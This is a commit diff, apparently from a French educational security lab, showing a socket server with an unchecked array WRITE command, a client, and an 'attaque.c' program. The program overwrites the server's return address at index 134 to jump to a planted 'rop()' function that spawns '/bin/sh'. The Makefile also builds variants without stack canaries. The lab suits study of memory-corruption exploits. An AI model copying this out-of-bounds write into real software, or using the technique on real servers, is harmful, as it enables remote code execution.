Browse Source

Première attaque en connaissant l'adresse d'une fonction + détection des segfault serveur par le client

Yohan Simard 3 years ago
parent
commit
6399fbda0f
4 changed files with 141 additions and 128 deletions
  1. 18
    36
      Makefile
  2. 40
    33
      attaque.c
  3. 41
    35
      client.c
  4. 42
    24
      serveur.c

+ 18
- 36
Makefile View File

@@ -1,81 +1,63 @@
1 1
 default: 
2 2
 	@echo "Usage : [ 64b | 64b_nocanary | 32b | 32b_nocanary ]"
3 3
 
4
-64b: clean_serv_client serv64b client64b attaque
5
-64b_nocanary: clean_serv_client serv64b_nocanary client64b attaque
6
-32b: clean_serv_client serv32b client32b attaque
7
-32b_nocanary: clean_serv_client serv32b_nocanary client32b attaque
4
+64b: clean_serv serv64b client attaque
5
+64b_nocanary: clean_serv serv64b_nocanary client attaque
6
+32b: clean_serv serv32b client attaque
7
+32b_nocanary: clean_serv serv32b_nocanary client attaque
8 8
 
9 9
 attaque: attaque.c
10 10
 	@echo "######################################"
11 11
 	@echo "# Compilation du programme ATTAQUANT #"
12 12
 	@echo "######################################"
13
-	@echo ""
14
-	gcc -Wall attaque.c -o attaque
15
-	@echo ""
13
+	gcc -Wall -g attaque.c -o attaque
16 14
 	@echo ""
17 15
 
18 16
 serv64b: serveur.c
19 17
 	@echo "######################################"
20 18
 	@echo "####### Compilation du SERVEUR #######"
21 19
 	@echo "######################################"
22
-	@echo ""
23
-	gcc -Wall serveur.c -o serveur
24
-	@echo ""
20
+	gcc -Wall -g serveur.c -o serveur
25 21
 	@echo ""
26 22
 
27
-client64b: client.c
23
+client: client.c
28 24
 	@echo "######################################"
29 25
 	@echo "####### Compilation du CLIENT  #######"
30 26
 	@echo "######################################"
31
-	@echo ""
32
-	gcc -Wall client.c -o client
33
-	@echo ""
27
+	gcc -Wall -g client.c -o client
34 28
 	@echo ""
35 29
 
36 30
 serv32b: serveur.c
37 31
 	@echo "######################################"
38 32
 	@echo "# Compilation du SERVEUR en 32 bits  #"
39 33
 	@echo "######################################"
40
-	@echo ""
41
-	gcc -Wall -m32 serveur.c -o serveur
42
-	@echo ""
43
-	@echo ""
44
-
45
-client32b: client.c
46
-	@echo "######################################"
47
-	@echo "## Compilation du CLIENT en 32 bits ##"
48
-	@echo "######################################"
49
-	@echo ""
50
-	gcc -Wall -m32 client.c -o client
51
-	@echo ""
34
+	gcc -Wall -g -m32 serveur.c -o serveur
52 35
 	@echo ""
53 36
 
54 37
 serv64b_nocanary: serveur.c
55 38
 	@echo "######################################"
56 39
 	@echo "# Compilation du SERVEUR sans Canary #"
57 40
 	@echo "######################################"
58
-	@echo ""
59
-	gcc -Wall -fno-stack-protector serveur.c -o serveur
60
-	@echo ""
41
+	gcc -Wall -g -fno-stack-protector serveur.c -o serveur
61 42
 	@echo ""
62 43
 
63 44
 serv32b_nocanary: serveur.c
64 45
 	@echo "#################################################"
65 46
 	@echo "# Compilation du SERVEUR en 32 bits sans Canary #"
66 47
 	@echo "#################################################"
67
-	@echo ""
68
-	gcc -Wall -m32 -fno-stack-protector serveur.c -o serveur
69
-	@echo ""
48
+	gcc -Wall -g -m32 -fno-stack-protector serveur.c -o serveur
70 49
 	@echo ""
71 50
 
72 51
 edit:
73
-	pluma serveur.c client.c Attaque.c &
52
+	pluma serveur.c client.c attaque.c &
74 53
 
75 54
 clean_attack:
76 55
 	@rm -f attaque
77 56
 
78
-clean_serv_client:
79
-	@rm -f client serveur
57
+clean_serv:
58
+	@rm -f serveur
59
+
60
+clean_client:
61
+	@rm -f client
80 62
 
81
-clean: clean_attack clean_serv_client
63
+clean: clean_attack clean_serv clean_client

+ 40
- 33
attaque.c View File

@@ -3,25 +3,45 @@
3 3
 #include <string.h>
4 4
 #include <stdlib.h>
5 5
 
6
-#define LATENCE 10000
7
-#define FUNCTION usleep
8
-#define SIZE_BUFF 228
9 6
 
10
-char prog_name[100];
7
+/**
8
+ * Lance un client, exécute une commande, puis quitte le client
9
+ * @param host L'adresse du serveur
10
+ * @param port Le port sur lequel se connecter
11
+ * @param cmd La commande à exécuter
12
+ * @return Le statut du client
13
+ */
14
+int runClientWithCommand(char *host, char *port, char *cmd) {
15
+	// Démarrage du client
16
+	char prog_name[100];
17
+	sprintf(prog_name, "./client %s %s", host, port);
11 18
 
12
-void runClientWithCommand(char *cmd) {
19
+	// Récupération de l'entrée standard
13 20
 	FILE *prog = popen(prog_name, "w");
14
-	FUNCTION(LATENCE);
21
+	usleep(1000);
15 22
 	if (prog == NULL) {
16 23
 		printf("ERREUR\n");
17
-		return;
24
+		return -1;
18 25
 	}
26
+
27
+	// Écriture de la commande
19 28
 	fprintf(prog, "%s", cmd);
20 29
 	printf("%s", cmd);
21
-	FUNCTION(LATENCE);
30
+
31
+	usleep(1000);
32
+
33
+	// Fermeture du client
22 34
 	fprintf(prog, "QUIT\n");
23 35
 	printf("QUIT\n");
24
-	pclose(prog);
36
+	return pclose(prog);
37
+}
38
+
39
+void hackServer(char *host, char *port, long addr) {
40
+	printf("-- Écrasement de l'adresse de retour par %p --\n", (void *) addr);
41
+	char buf[100];
42
+	// L'index 134 du tableau correspond à l'adresse de retour
43
+	sprintf(buf, "WRITE %ld 134\n", addr);
44
+	runClientWithCommand(host, port, buf);
25 45
 }
26 46
 
27 47
 int main(int argc, char *argv[]) {
@@ -34,31 +54,18 @@ int main(int argc, char *argv[]) {
34 54
 		printf("Usage : ./attaque addresseServeur portServeur\n");
35 55
 		return 3;
36 56
 	}
37
-	sprintf(prog_name, "./client %s %s", argv[1], argv[2]);
38
-
39
-	// On ecrit 100 a l'index 2
40
-	printf("-- Write --\n");
41
-	runClientWithCommand("WRITE 100 2\n");
42 57
 
43
-	// On affiche la valeur a l'index 1
44
-	printf("-- Read --\n");
45
-	runClientWithCommand("READ 1\n");
58
+	// Adresse à modifier avec l'adresse d'une fonction du serveur
59
+	long address = 0xffffffff;
60
+	hackServer(argv[1], argv[2], address);
46 61
 
47
-	// On affiche le tableau sur le serveur
48
-	printf("-- Print --\n");
49
-	runClientWithCommand("PRINT\n");
62
+//	long begin = 1448463905;
63
+//	long end = 1449434657;
64
+//	printf("testing %ld possibilities...\n", end - begin);
65
+//
66
+//	for (long addr = begin; addr < end; ++addr) {
67
+//		runClient(argv[1], argv[2], addr);
68
+//	}
50 69
 
51
-	// TODO
52
-//    // On hack pour RESET
53
-//    printf("-- Hack --\n");
54
-//    char buff[SIZE_BUFF + 1];
55
-//    int i;
56
-//    for (i=0; i<(SIZE_BUFF / 4); i++) {
57
-//        buff[(i*4)] = 0xef;
58
-//        buff[(i*4) + 1] = 0xca;
59
-//        buff[(i*4) + 2] = 0x5c;
60
-//        buff[(i*4) + 3] = 0x56;
61
-//    }
62
-//    buff[SIZE_BUFF] = '\0';
63
-//    runClientWithCommand(buff);
70
+	return 0;
64 71
 }

+ 41
- 35
client.c View File

@@ -17,8 +17,8 @@
17 17
 #include <string.h>
18 18
 #include <unistd.h>
19 19
 
20
-int main (int argc, char * argv[]) {
21
-  
20
+int main(int argc, char *argv[]) {
21
+
22 22
 	if (argc != 3) {
23 23
 		printf("ERREUR : Usage : ./client AdresseServeur N°Port\n");
24 24
 		exit(2);
@@ -39,99 +39,109 @@ int main (int argc, char * argv[]) {
39 39
 
40 40
 	if (hoststruct == NULL) {
41 41
 		printf("ERREUR lors de la recherche de l'adresse IP du target\n");
42
-		exit(1);
42
+		exit(2);
43 43
 	}
44 44
 
45 45
 	memcpy((char *) &(addr_target.sin_addr.s_addr), hoststruct->h_addr, hoststruct->h_length);
46 46
 
47 47
 	int retour_connexion;
48 48
 	//On fait de demande de connextion au socket target
49
-	retour_connexion = connect(sock, (struct sockaddr *)&addr_target, sizeof(struct sockaddr_in));
50
-	if (retour_connexion == -1){
51
-	  printf("ERREUR lors de la demande de connexion\n");
52
-	  exit(1);
49
+	retour_connexion = connect(sock, (struct sockaddr *) &addr_target, sizeof(struct sockaddr_in));
50
+	if (retour_connexion == -1) {
51
+		printf("ERREUR lors de la demande de connexion\n");
52
+		exit(3);
53 53
 	}
54 54
 
55 55
 	printf("Que souhaitez vous faire : \n			- READ 'index'\n			- WRITE 'value' 'index'\n			- ADD 'index1' 'index2' 'index3'\n			- SUB 'index1' 'index2' 'index3'\n			- MUL 'index1' 'index2' 'index3'\n			- DIV 'index1' 'index2' 'index3'\n			- LOWER 'index1' 'index2'\n			- EQUAL 'index1' 'index2'\n			- PRINT\n			- QUIT\n");
56
-	
57
-	int cont = 1;
58
-	while (cont) {
59
-		// Test si le serveur a crash		
56
+
57
+	while (1) {
58
+		// Test si le serveur a crash
60 59
 		usleep(100000);
61 60
 		int oldflag = fcntl(sock, F_GETFL);
62 61
 		char buff2[40] = "\0";
63 62
 		fcntl(sock, F_SETFL, oldflag | O_NONBLOCK);
64
-		if ((int)read(sock, buff2, 40) == 0) {
65
-			printf("\nSERVEUR KO\n\n");
63
+		if ((int) read(sock, buff2, 40) == 0) {
64
+			printf("--- Socket closed ---\n");
65
+			close(sock);
66
+			exit(0);
67
+		} else if (strcmp(buff2, "SEGFAULT") == 0) {
68
+			printf("--- Segfault in server ---\n");
66 69
 			close(sock);
67
-			exit(-1);
70
+			exit(4);
68 71
 		}
69 72
 		fcntl(sock, F_SETFL, oldflag);
70 73
 
71 74
 		// Lecture de la requette
72
-		char requette[40];
73
-		fgets(requette, 40, stdin);
75
+		char requete[40];
76
+		fgets(requete, 40, stdin);
74 77
 		char req[10] = "\0";
75 78
 		int param1 = -1;
76 79
 		int param2 = -1;
77 80
 		int param3 = -1;
78
-		sscanf(requette, "%s %d %d %d", req, &param1, &param2, &param3);
81
+		sscanf(requete, "%s %d %d %d", req, &param1, &param2, &param3);
79 82
 
80 83
 		// Traitement de la requette
81 84
 		char buff[40] = "\0";
82 85
 		int nb_octets_envoyes;
83
-		if (!strcmp(req, "READ")) {
86
+		if (!strcmp(req, "READ") || !strcmp(req, "read")) {
84 87
 			if (param1 < 0) {
85 88
 				printf("ERROR SYNTAX\n");
86 89
 			} else {
87 90
 				sprintf(buff, "r.%d.0.0", param1);
88 91
 				nb_octets_envoyes = send(sock, buff, strlen(buff), 0);
89 92
 				printf("nb_octets_envoyes = %d\n", nb_octets_envoyes);
90
-				read(sock, buff, 40);
91
-				printf("Tableau[%d] = %s\n", param1, buff);
93
+				int bytesRead = read(sock, buff, 40);
94
+				if (bytesRead > 0) {
95
+					int val;
96
+					printf("%s\n", buff);
97
+					sscanf(buff, "%d", &val);
98
+					printf("Tableau[%d] = %d\n", param1, val);
99
+				} else {
100
+					printf("Erreur lors du read\n");
101
+				}
92 102
 			}
93
-		} else if (!strcmp(req, "WRITE")) {
103
+		} else if (!strcmp(req, "WRITE") || !strcmp(req, "write")) {
94 104
 			if (param2 < 0) {
95 105
 				printf("ERROR SYNTAX\n");
96 106
 			} else {
97 107
 				sprintf(buff, "w.%d.%d.0", param1, param2);
98 108
 				send(sock, buff, strlen(buff), 0);
99 109
 			}
100
-		} else if (!strcmp(req, "ADD")) {
110
+		} else if (!strcmp(req, "ADD") || !strcmp(req, "add")) {
101 111
 			if (param1 < 0 || param2 < 0 || param3 < 0) {
102 112
 				printf("ERROR SYNTAX\n");
103 113
 			} else {
104 114
 				sprintf(buff, "a.%d.%d.%d", param1, param2, param3);
105 115
 				send(sock, buff, strlen(buff), 0);
106 116
 			}
107
-		} else if (!strcmp(req, "SUB")) {
117
+		} else if (!strcmp(req, "SUB") || !strcmp(req, "sub")) {
108 118
 			if (param1 < 0 || param2 < 0 || param3 < 0) {
109 119
 				printf("ERROR SYNTAX\n");
110 120
 			} else {
111 121
 				sprintf(buff, "s.%d.%d.%d", param1, param2, param3);
112 122
 				send(sock, buff, strlen(buff), 0);
113 123
 			}
114
-		} else if (!strcmp(req, "MUL")) {
124
+		} else if (!strcmp(req, "MUL") || !strcmp(req, "mul")) {
115 125
 			if (param1 < 0 || param2 < 0 || param3 < 0) {
116 126
 				printf("ERROR SYNTAX\n");
117 127
 			} else {
118 128
 				sprintf(buff, "m.%d.%d.%d", param1, param2, param3);
119 129
 				send(sock, buff, strlen(buff), 0);
120 130
 			}
121
-		} else if (!strcmp(req, "DIV")) {
131
+		} else if (!strcmp(req, "DIV") || !strcmp(req, "div")) {
122 132
 			if (param1 < 0 || param2 < 0 || param3 < 0) {
123 133
 				printf("ERROR SYNTAX\n");
124 134
 			} else {
125 135
 				sprintf(buff, "d.%d.%d.%d", param1, param2, param3);
126 136
 				send(sock, buff, strlen(buff), 0);
127 137
 			}
128
-		} else if (!strcmp(req, "LOWER")) {
138
+		} else if (!strcmp(req, "LOWER") || !strcmp(req, "lower")) {
129 139
 			if (param1 < 0 || param2 < 0) {
130 140
 				printf("ERROR SYNTAX\n");
131 141
 			} else {
132 142
 				sprintf(buff, "l.%d.%d.0", param1, param2);
133 143
 				send(sock, buff, strlen(buff), 0);
134
-				
144
+
135 145
 				char retour[2];
136 146
 				read(sock, retour, 2);
137 147
 				char res[6];
@@ -144,13 +154,13 @@ int main (int argc, char * argv[]) {
144 154
 				}
145 155
 				printf("Tableau[%d] < Tableau[%d] => %s\n", param1, param2, res);
146 156
 			}
147
-		} else if (!strcmp(req, "EQUAL")) {
157
+		} else if (!strcmp(req, "EQUAL") || !strcmp(req, "equal")) {
148 158
 			if (param1 < 0 || param2 < 0) {
149 159
 				printf("ERROR SYNTAX\n");
150 160
 			} else {
151 161
 				sprintf(buff, "e.%d.%d.0", param1, param2);
152 162
 				send(sock, buff, strlen(buff), 0);
153
-				
163
+
154 164
 				char retour[2];
155 165
 				read(sock, retour, 2);
156 166
 				char res[6];
@@ -163,20 +173,16 @@ int main (int argc, char * argv[]) {
163 173
 				}
164 174
 				printf("Tableau[%d] == Tableau[%d] => %s\n", param1, param2, res);
165 175
 			}
166
-		} else if (!strcmp(req, "PRINT")) {
176
+		} else if (!strcmp(req, "PRINT") || !strcmp(req, "print")) {
167 177
 			sprintf(buff, "p.0.0.0");
168 178
 			send(sock, buff, strlen(buff), 0);
169
-		} else if (!strcmp(req, "QUIT")) {
179
+		} else if (!strcmp(req, "QUIT") || !strcmp(req, "quit")) {
170 180
 			sprintf(buff, "q.0.0.0");
171 181
 			send(sock, buff, strlen(buff), 0);
172
-			cont = 0;
173 182
 		} else {
174 183
 			printf("SYNTAX ERROR\n");
175 184
 		}
176 185
 	}
177
-
178
-	close(sock);
179
-  return 0;
180 186
 }
181 187
 
182 188
 

+ 42
- 24
serveur.c View File

@@ -35,12 +35,12 @@
35 35
 struct proc {
36 36
 	int pid;
37 37
 	int sock;
38
-	struct proc * next;
38
+	struct proc *next;
39 39
 };
40 40
 
41 41
 struct proc_list {
42 42
 	int size;
43
-	struct proc * first;
43
+	struct proc *first;
44 44
 };
45 45
 
46 46
 struct proc_list new_list() {
@@ -48,43 +48,43 @@ struct proc_list new_list() {
48 48
 	return liste;
49 49
 }
50 50
 
51
-void add_proc(struct proc_list * l, int pid, int sock) {
51
+void add_proc(struct proc_list *l, int pid, int sock) {
52 52
 	l->size++;
53
-	struct proc * p = (struct proc *) malloc(sizeof(struct proc));
53
+	struct proc *p = (struct proc *) malloc(sizeof(struct proc));
54 54
 	p->pid = pid;
55 55
 	p->sock = sock;
56 56
 	p->next = l->first;
57 57
 	l->first = p;
58 58
 }
59 59
 
60
-int get_sock_and_remove_proc(struct proc_list * l, int pid) {
60
+int get_sock_and_remove_proc(struct proc_list *l, int pid) {
61 61
 	int sock = -1;
62 62
 	if (l->size == 0) {
63 63
 		printf("Erreur : Liste vide.\n");
64 64
 	} else if (l->first->pid == pid) {
65
-		struct proc * aux = l->first;
65
+		struct proc *aux = l->first;
66 66
 		l->size--;
67 67
 		l->first = aux->next;
68 68
 		sock = aux->sock;
69 69
 		free(aux);
70 70
 	} else {
71
-		struct proc * aux = l->first;
71
+		struct proc *aux = l->first;
72 72
 		while (aux->next != NULL && aux->next->pid != pid) {
73 73
 			aux = aux->next;
74 74
 		}
75 75
 		if (aux->next->pid == pid) {
76
-			struct proc * aux2 = aux->next;
76
+			struct proc *aux2 = aux->next;
77 77
 			l->size--;
78 78
 			aux->next = aux2->next;
79 79
 			sock = aux2->sock;
80 80
 			free(aux2);
81
-		} 
81
+		}
82 82
 	}
83 83
 	return sock;
84 84
 }
85 85
 
86
-struct proc * get_first(struct proc_list * l) {
87
-	struct proc * rt = NULL;
86
+struct proc *get_first(struct proc_list *l) {
87
+	struct proc *rt = NULL;
88 88
 	if (l->size != 0) {
89 89
 		rt = l->first;
90 90
 		l->size--;
@@ -94,7 +94,7 @@ struct proc * get_first(struct proc_list * l) {
94 94
 }
95 95
 
96 96
 struct proc_list liste;
97
-			
97
+
98 98
 //
99 99
 //			FIN GESTION DES FILS
100 100
 //
@@ -103,15 +103,26 @@ int main_sock;
103 103
 
104 104
 void handle_sigsegv(int signum) {
105 105
 	fprintf(stderr, "Signal SIGSEGV (%d) received : SEG FAULT\n", signum);
106
-	_exit(0);
106
+	exit(134); // 134 est le code de retour habituel en cas de segfault
107 107
 }
108 108
 
109 109
 void handle_sigchild(int signum) {
110
-	int pid = wait(NULL);
111
-	//printf("Processus %d terminé\n", pid);
110
+	// Attente de l'arrêt du fils et récupération du code de retour
111
+	int status;
112
+	int pid = wait(&status);
113
+	int retCode = WEXITSTATUS(status);
114
+
115
+	// Récupération du socket
112 116
 	int sock = get_sock_and_remove_proc(&liste, pid);
113
-	//printf("Retour shutdowm = %d\n", shutdown(sock, SHUT_RDWR));
114
-	//printf("Retour close = %d\n", close(sock));
117
+
118
+	// Envoi de l'info de Segfault au client
119
+	if (retCode == 134) {
120
+		char buf[40] = "SEGFAULT";
121
+		write(sock, buf, strlen(buf));
122
+		printf("SEGFAULT envoyé\n");
123
+	}
124
+
125
+	// Fermeture du socket
115 126
 	shutdown(sock, SHUT_RDWR);
116 127
 	close(sock);
117 128
 }
@@ -123,7 +134,7 @@ void handle_sigint(int signum) {
123 134
 		exit(-1);
124 135
 	}
125 136
 
126
-	struct proc * rt = get_first(&liste);
137
+	struct proc *rt = get_first(&liste);
127 138
 	while (rt != NULL) {
128 139
 		shutdown(rt->sock, SHUT_RDWR);
129 140
 		close(rt->sock);
@@ -245,7 +256,13 @@ void process(int sock) {
245 256
 		}
246 257
 	}
247 258
 }
248
-			
259
+
260
+// Fonction que l'on veut appeler en écrivant son adresse dans la pile
261
+void rop() {
262
+	printf("Exploit successful!\n");
263
+	system("/bin/sh");
264
+}
265
+
249 266
 
250 267
 int main(int argc, char *argv[]) {
251 268
 	if (argc != 2) {
@@ -261,13 +278,13 @@ int main(int argc, char *argv[]) {
261 278
 
262 279
 	// install a handler for SIGCHLD in a part of your code
263 280
 	if (signal(SIGCHLD, &handle_sigchild) == SIG_ERR) {
264
-		fprintf(stderr, "Could not install SIGSEGV handler");
281
+		fprintf(stderr, "Could not install SIGCHLD handler");
265 282
 		return -1;
266 283
 	}
267 284
 
268 285
 	// install a handler for SIGINT in a part of your code
269 286
 	if (signal(SIGINT, &handle_sigint) == SIG_ERR) {
270
-		fprintf(stderr, "Could not install SIGSEGV handler");
287
+		fprintf(stderr, "Could not install SIGINT handler");
271 288
 		return -1;
272 289
 	}
273 290
 
@@ -287,10 +304,9 @@ int main(int argc, char *argv[]) {
287 304
 	addr_local.sin_addr.s_addr = INADDR_ANY;
288 305
 
289 306
 	// On bind l'adresse du socket créee avec le socket local
290
-	binder =
291
-			bind(main_sock, (struct sockaddr *) &addr_local, sizeof(struct sockaddr_in));
307
+	binder = bind(main_sock, (struct sockaddr *) &addr_local, sizeof(struct sockaddr_in));
292 308
 	if (binder == -1) {
293
-		printf("ERREUR lors du bind du socket\n");
309
+		perror("ERREUR lors du bind du socket");
294 310
 		exit(1);
295 311
 	}
296 312
 
@@ -310,6 +326,8 @@ int main(int argc, char *argv[]) {
310 326
 	int nb_connexions = 0;
311 327
 
312 328
 	printf("CTRL+C pour terminer\n");
329
+
330
+	printf("addresse de rop() : %ld\n", (long) &rop);
313 331
 	while (pid != 0) {
314 332
 
315 333
 		int sock_connexion = accept(main_sock, (struct sockaddr *) &addr_em, &longueur_addr_em);

Loading…
Cancel
Save